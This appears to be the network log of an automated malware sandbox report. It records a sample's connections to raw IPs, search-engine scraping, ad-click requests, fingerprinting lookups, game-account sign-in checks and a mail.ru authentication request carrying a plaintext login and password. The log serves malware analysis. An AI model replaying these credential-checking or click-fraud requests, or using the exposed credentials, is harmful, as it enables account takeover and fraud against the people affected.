Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 18.244.102.65
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 217.74.64.236
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98
Source: unknown	TCP traffic detected without corresponding DNS query: 182.248.170.98

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6CB06AA0 recv,htons,send,recv,htons,send,

4_2_6CB06AA0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?q=e+k+marine&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36Cookie: CONSENT=YES+US.enReferer: https://www.google.com/Connection: closesec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="102"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /search?p=HSA+Administrator&fr=sfp&fr2=sb-top-us.search&iscqry=&vc=us HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1YoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFD2vQ63Vl9sorb0xXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&vc=us&fr=sfp&fr2=sb-top-us.search&b=8&pz=7&bct=0&pstart=2 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=1&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226896&ltv_c=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?q=ford+bronco+custom+2021&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36Cookie: CONSENT=YES+US.enReferer: https://www.google.com/Connection: closesec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="102"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFGC7U63Vlv5srJn1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=15&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=2&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226900&ltv_c=2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFGC7Y63VlsVUr.fpXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=22&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226904&ltv_c=3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /?name=Antoinette HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNOavc63Vl6bIrn71XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=29&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226908&ltv_c=4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 OPR/75.0.3969.149accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=Awrhdprg63VlPJorTTtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=36&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226912&ltv_c=5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Aldrin HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEohTk63VlsLUFqL9XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=43&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226916&ltv_c=6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNYATt63VlYIcr9nRXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=50&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226925&ltv_c=7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /searchads/link/click?lid=43700075290420019&ds_s_kwgid=58700008283701479&ds_a_cid=46740138&ds_a_caid=18700621405&ds_a_agid=144724770125&ds_a_fiid=&ds_a_lid=kwd-298208513160&ds_a_extid=&&ds_e_adid=649129367969&ds_e_matchtype=search&ds_e_device=c&ds_e_network=g&&ds_url_v=2&dc_eps=AHas8cAsEcTqgo4hYlrs9u8BuyLKVvQyrF34mvr5GeFfDKlbIOBkopK-11uDn15QdF0FRdIepgPACbkjpg&ds_dest_url=https://www.botoxchronicmigraine.com/find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclsrc=aw.ds&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE HTTP/1.1Host: ad.doubleclick.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFcojy63VlKeMrXMtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=57&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226930&ltv_c=8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE&gclsrc=aw.ds HTTP/1.1Host: www.botoxchronicmigraine.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /?name=Julie HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 YaBrowser/18.3.1.1232 Yowser/2.5 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /aclk?sa=l&ai=DChcSEwiOrbXzqIWDAxWHGaIDHcVgBq0YABACGgJsZQ&ae=2&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&sig=AOD64_33JdWE39KHle-C0tq23pyDLE09pA&adurl=&q= HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateCookie: AEC=Ackid1RaEnBZU8Puf8LxhPwF984o7wSrUFPE0sp8oNRbAgoRZ9E4vwrZdTg; NID=511=upr0-7dS1MUDhf2w8zGjxN_v0cC_k77MLSPS247f1W3AoK3GkG3VJVmmQkkVQaSiiXcOM4JJF24Pe6HkW-XoPMEC33Owu2G05WkVAC-XAQGletXI5JAVMM4P7QunK-JnJhvEujUT780I7vCDcz3ZJnuk7XToVPdotEWbQoM-FUIAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFaJX263VlWeErinFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=64&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226934&ltv_c=9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /?name=Behnaz HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrigfX663VlKMErmFdXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=71&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226939&ltv_c=10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 YaBrowser/20.9.3.136 Yowser/2.5 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEpecD7HVl19ArcA1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=78&pz=7&bct=0&xargs=0 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226947&ltv_c=11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /?name=Youssef HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=ibuypower%2Bflammable&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /cgi-bin/auth?Password=668600&Login=studenko_1992@mail.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=04251FEA51A7532114D68C8214239A03&client=mobile&playservices=5785264&connectid=87F82A91982C1632B3A51B9147515638&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-5663382950293237662&current=google&first=google&md5_signature=8F183FA65166AC4E8094BBCDE2FEF55B HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 YaBrowser/20.11.2.78 Yowser/2.5 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
